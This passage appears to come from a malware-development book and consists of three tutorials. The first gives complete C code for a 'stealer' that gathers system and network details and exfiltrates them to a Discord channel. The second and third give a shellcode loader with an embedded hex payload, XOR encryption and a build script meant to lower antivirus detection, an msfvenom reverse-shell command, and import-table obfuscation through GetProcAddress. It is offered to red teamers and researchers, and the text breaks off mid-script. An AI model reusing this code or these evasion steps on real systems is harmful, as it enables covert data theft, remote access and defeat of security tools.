#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>

#define DISCORD_BOT_TOKEN "your discord bot token" // replace with your actual bot token
#define DISCORD_CHANNEL_ID "your discord channel id" // replace with the channel ID where yo

// function to send a message to discord using the discord Bot API


int sendToDiscord(const char* message) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,


WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {

446
fprintf(stderr, "WinHttpOpen. error: %d has occurred.\n", GetLastError());
return 1;
}

hConnect = WinHttpConnect(hSession, L"discord.com",


INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);
return 1;
}

hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v10/channels/"


DISCORD_CHANNEL_ID "/messages", NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

// set headers
if (!WinHttpAddRequestHeaders(hRequest, L"Authorization: Bot "
DISCORD_BOT_TOKEN "\r\nContent-Type: application/json\r\n", -1,
WINHTTP_ADDREQ_FLAG_ADD)) {
fprintf(stderr, "WinHttpAddRequestHeaders. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

// construct JSON payload


char json_body[1024];
snprintf(json_body, sizeof(json_body), "{\"content\": \"%s\"}", message);

// send the request


if (!WinHttpSendRequest(hRequest, NULL, -1, (LPVOID)json_body,
strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest. error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1;
}

447
// receive response
BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. error %d has occurred.\n", GetLastError());
}

DWORD code = 0;
DWORD codeS = sizeof(code);
if (WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE |
WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX,
&code, &codeS, WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("message sent successfully to discord.\n");
} else {
printf("failed to send message to discord. HTTP status code: %d\n", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, 0, NULL);
printf("unknown error: %s\n", buffer);
LocalFree(buffer);
}

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

return 0;
}

int main(int argc, char* argv[]) {


// test message
const char* message = "meow-meow";
sendToDiscord(message);

char systemInfo[4096];

// get host name


CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size);

448
// get OS version
OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osVersion);

// get system information


SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

// get logical drive information


DWORD drives = GetLogicalDrives();

// get IP address
IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters
DWORD adapterInfoSize = sizeof(adapterInfo);
if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return 1;
}

snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"OS Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

// add IP address information


for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL;
adapter = adapter->Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
}

449
// send system info to discord
sendToDiscord(systemInfo);
return 0;
}

demo
Let’s check everything in action.
Compile our “stealer” hack.c:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive \
-liphlpapi -lwinhttp

Before running on test victim machine we need authorize our bot to sending messages
to channel:
https://discord.com/api/oauth2/authorize?client_id=123456789012345678&permissions=0&scope=bo
Replace cliend id with yours:

450
And run it on my Windows 11 VM:
.\hack.exe

As you can see, messages posted successfully in our channel.

451
Run on Windows 10 x64 VM with wireshark:
.\hack.exe

And monitoring traffic via Wireshark we got an IP address 104.26.11.240:


whois 104.26.11.240

As far as I know, Discord uses Cloudflare, so I assume this is the our Discord API ip
address.
I hope this post with practical example is useful for malware researchers, red teamers,
spreads awareness to the blue teamers of this interesting technique.
Using Telegram API example
Using VirusTotal API example
Discord API Reference
source code in github

452
54. AV engines evasion for C++ simple malware.

AV evasion has always being challenging for red teamers and pentesters, especially for
those who write malwares.
In our tutorial, we will write a simple malware in C++ that will launch our payload:
calc.exe process. Then we check through virustotal how many AV engines detect our
malware, after which we will try to reduce the number of AV engines that will detect
our malware.
Let’s start with simple C++ code of our malware:
/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,

453
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// copy payload to buffer


RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem, my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}

454
So we have just one function main(void) function:

and we have sizeof(my_payload) size of payload.


For simplicity, we use calc.exe as the payload. Without delving into the generation
of the payload, we will simply substitute the finished payload into our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
And the main logic of our main function is:

455
Let’s go to investigate this logic. If you want to run our payload in the memory of the
process, we have to do couple of things. We have to create a new memory buffer, copy
our payload into the buffer, and a start executing this buffer.
The first we do we allocate new memory region in a process and we store the address
in my_payload_mem variable:

and this memory region is readable and writeable.


Then, we copy our my_payload to my_payload_mem:

And then we set our buffer to be executable:

456
Ok, everything is good but why I am not doing this in 44 line???

why not just allocate a buffer which is readable writable and executable?
And the reason is pretty simple. Some hunting tools and AV engines can spot this
memory region, because it’s quite unusable that the process needs a memory which is
readable, writeable and executable at the same time. So to bypass this kind of detection
we are doing in a two steps.
And if everything goes well, we run our payload as the separate new thread in a process:

Let’s go to compile our malware:

and run (on Windows 10 x64):

457
So basically this is how you can store your payload in a .text section without encryp-
tion.
Let’s go to upload our evil.exe to Virustotal:

https://www.virustotal.com/gui/file/c9c49dbbb0a668df053d0ab788f9dde2d9e59c31
672b5d296bb1e8309d7e0dfe/detection
So, 22 of of 66 AV engines detect our file as malicious.
Let’s go to try to reduce the number of AV engines that will detect our malware.
For this first we must encrypt our payload. Why we want to encrypt our payload? The
basic purpose of doing this to hide you payload from someone like AV engine or reverse
engineer. So that reverse engineer cannot easily identify your payload.
The purpose of encryption is the transform data in order to keep it secret from others.
For simplicity, we use XOR encryption for our case.
Let’s take a look at how to use XOR to encrypt and decrypt our payload.
Update our simple malware code:
/*

458
cpp implementation malware
example with calc.exe payload
encrypted via XOR
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {};
unsigned int my_payload_len = sizeof(my_payload);

// key for XOR decrypt


char my_secret_key[] = "mysupersecretkey";

// decrypt deXOR function


void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// Decrypt (DeXOR) the payload


XOR((char *) my_payload, my_payload_len,
my_secret_key, sizeof(my_secret_key));

// copy payload to buffer


RtlMoveMemory(my_payload_mem, my_payload,
my_payload_len);

459
// make new buffer as executable
rv = VirtualProtect(my_payload_mem,
my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
The main difference with our first simple implementation is - we add XOR decrypt
function and our secret key my_secret_key for decryption:

It’s actually simple function, it’s a symmetric encryption, we can use it for encryption
and decryption with the same key.
and we deXOR our payload before copy to buffer:

460
And the only missing thing is our payload:

which should be encrypted with XOR.


For that create simple python script which encrypt payload and replace it in our C++
template:
import sys
import os
import hashlib
import string

## XOR function to encrypt data


def xor(data, key):
key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ^ ord(current_key))
return output_str

## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key

## key for encrypt/decrypt

461
my_secret_key = "mysupersecretkey"

## payload calc.exe
plaintext = open("./calc.bin", "rb").read()

ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

## open and replace our payload in C++ code


tmp = open("evil_xor.cpp", "rt")
data = tmp.read()
data = data.replace('unsigned char my_payload[] = { };',
'unsigned char my_payload[] = ' + ciphertext)
tmp.close()
tmp = open("evil-enc.cpp", "w+")
tmp.write(data)
tmp.close()

## compile
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp"
cmd += "-o evil.exe -s -ffunction-sections"
cmd += "-fdata-sections -Wno-write-strings"
cmd += " -fno-exceptions -fmerge-all-constants"
cmd += "-static-libstdc++ -static-libgcc"
cmd += " >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")
For simplicity, we use calc.bin payload:

but in real scenario you can use something like:


msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.9.1.6 LPORT=4444 -f raw -o hack.bin

462
run python script:
python3 evil_enc.py

and run in victim’s machine (Windows 10 x64):

Let’s go to upload our new evil.exe with encrypted payload to Virustotal:

https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d99e980
8efbfaf7989e1e15fd9587ca/detection
So, we have reduced the number of AV engines which detect our malware from
22 to 18!
Source code in Github

463
• VirtualAlloc

• RtlMoveMemory

• VirtualProtect

• WaitForSingleObject

• CreateThread

• XOR
In the next part, I will write how else you can reduce the number of detections using
function call obfuscation technique.

464
AV engines evasion for C++ simple malware - part 2

This is the second part of the tutorial, firstly, I recommend that you study the first part.
In this section we will study function call obfuscation. So what is this? Why malware
developers and red teamers need to learn it?
Let’s consider our evil.exe from part 1 in virustotal:
https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d99e980
8efbfaf7989e1e15fd9587ca/detection
and go to the details tab:

Every PE module like .exe and .dll usually uses external functions. So when it is

465
running, it will call every functions implemented in an external DLLs which will be
mapped into a process memory to make this functions available to the process code.
AV industry analyze most kind of external DLLs and functions are used by the malware.
It can be a good indicator if this binary is malicious or not. So AV engine analyzes a PE
file on disk by looking the into its import address.
Of course this method is not bullet proof and can generate some false positives but it is
a known to work in some cases and is widely used by AV engines.
So what we as a malware developers can do about it? This is where function call
obfuscation comes into play. Function Call Obfuscation is a method of hiding your
DLLs and external functions that will be called a during runtime. To do that we can
use standard Windows API functions called GetModuleHandle and GetProcAddress.
The former returns a handled a specifiied DLL and later allows you to get a memory
address of the function you need and which is exported from that DLL.
So let me give you an example. So let’s say your program needs to call a function
called HackAndWin which is exported in a DLL named hacker.dll. So first you
call GetModuleHandle, and then you can call GetProcAddress with an argument of
HackAndWin function and in return you get in address of that function:
hack = GetProcAddress(
GetModuleHandle("hacker.dll"), "HackAndWin");
So what is important here? Is that if you compile your code, compiler will not include
hacker.dll into import address table. So AV engine will not be able to see that during
static analysis.
Let’s see how we can practically use this technique. Let’s take a look at the source coude
of our first malware from part 1:
/*
cpp implementation malware
example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,

466
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

// copy payload to buffer


RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem, my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);

467
WaitForSingleObject(th, -1);
}
return 0;
}
So this code contains very basic logic for executing payload. So in this case, for simplicity,
it’s not encrypted payload, it’s plain payload.

Let’s compile it:

and run to make sure that it works:

468
So let’s take a look into import address table.
objdump -x -D evil.exe | less

and as you can see our program is uses KERNEL32.dll and import all this functions:

469
and some of them are used in our code:

So let’s get read of VirtualAlloc. So how we can do that? First of all we need to find
a declaration VirtualAlloc:

470
and just a make sure that it is implemented in a Kernel32.dll:

So let’s create a global variable called VirtualAlloc, but it has to be a pointer


pVirtualAlloc this variable will store the address to VirtualAlloc:

And now we need to get this address via GetProcAddress, and we need to change the
call VirtualAlloc to pVirtualAlloc:

471
Then let’s go to compile it. And see again import address table:
objdump -x -D evil.exe | less

So no VirtualAlloc in import address table. Looks good. But, there is a caveat. When
we try to extract all the strings from the our binary we will see that VirtualAlloc
string is still there. Let’s do it. run:
strings -n 8 evil.exe

472
as you can see it is here. The reason is that we are using the stream in cleartext when
we are calling GetProcAddress.
So what we can do about it?
The way is we can remove that. We can used XOR function for encrypt/decrypt, we
used before, so let’s do that. Firstly, add XOR function to our evil.cpp malware source
code:

For that we will need encryption key and some string. And let’s say string as
cVirtualAlloc and modify our code:

add XOR decryption:

473
So, the final version of our malware code is:
/*
cpp implementation malware
example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int my_payload_len = sizeof(my_payload);

// XOR encrypted VirtualAlloc


unsigned char cVirtualAlloc[] = { };

474
unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);

// encrypt/decrypt key
char mySecretKey[] = "meowmeow";

// LPVOID VirtualAlloc(
// LPVOID lpAddress,
// SIZE_T dwSize,
// DWORD flAllocationType,
// DWORD flProtect
// );

LPVOID (WINAPI * pVirtualAlloc)(


LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

void XOR(char * data, size_t data_len, char * key,


size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

XOR((char *) cVirtualAlloc, cVirtualAllocLen,


mySecretKey, sizeof(mySecretKey));

// Allocate a memory buffer for payload


pVirtualAlloc = GetProcAddress(
GetModuleHandle("kernel32.dll"), cVirtualAlloc);

my_payload_mem = pVirtualAlloc(0, my_payload_len,


MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

475
// copy payload to buffer
RtlMoveMemory(my_payload_mem, my_payload,
my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem, my_payload_len,
PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE) my_payload_mem,
0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
And use python script to XOR encrypt our function name and replace:
import sys
import os
import hashlib
import string

## XOR function to encrypt data


def xor(data, key):
key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
